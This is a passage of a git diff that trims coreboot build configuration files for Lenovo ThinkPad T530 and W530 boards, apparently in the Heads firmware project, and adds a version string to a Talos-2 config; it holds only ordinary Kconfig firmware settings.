CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set CONFIG_BOARD_LENOVO_T530=y -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="LEN0071" -CONFIG_PS2M_EISAID="LEN0015" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_BOARD_LENOVO_BASEBOARD_T530=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=5 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_NULL=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-talos-2.config b/config/coreboot-talos-2.config index 1788a4925..6967cd8a2 100644 --- a/config/coreboot-talos-2.config +++ b/config/coreboot-talos-2.config @@ -1,3 +1,4 @@ +CONFIG_LOCALVERSION="Heads-v0.2.0-2215-g21ab781-dirty" CONFIG_VENDOR_RAPTOR_CS=y CONFIG_MAX_CPUS=2 CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 62d970c33..93e9a7f64 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -1,708 +1,30 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="ThinkPad W530" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad W530" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/t530" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="w530" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set 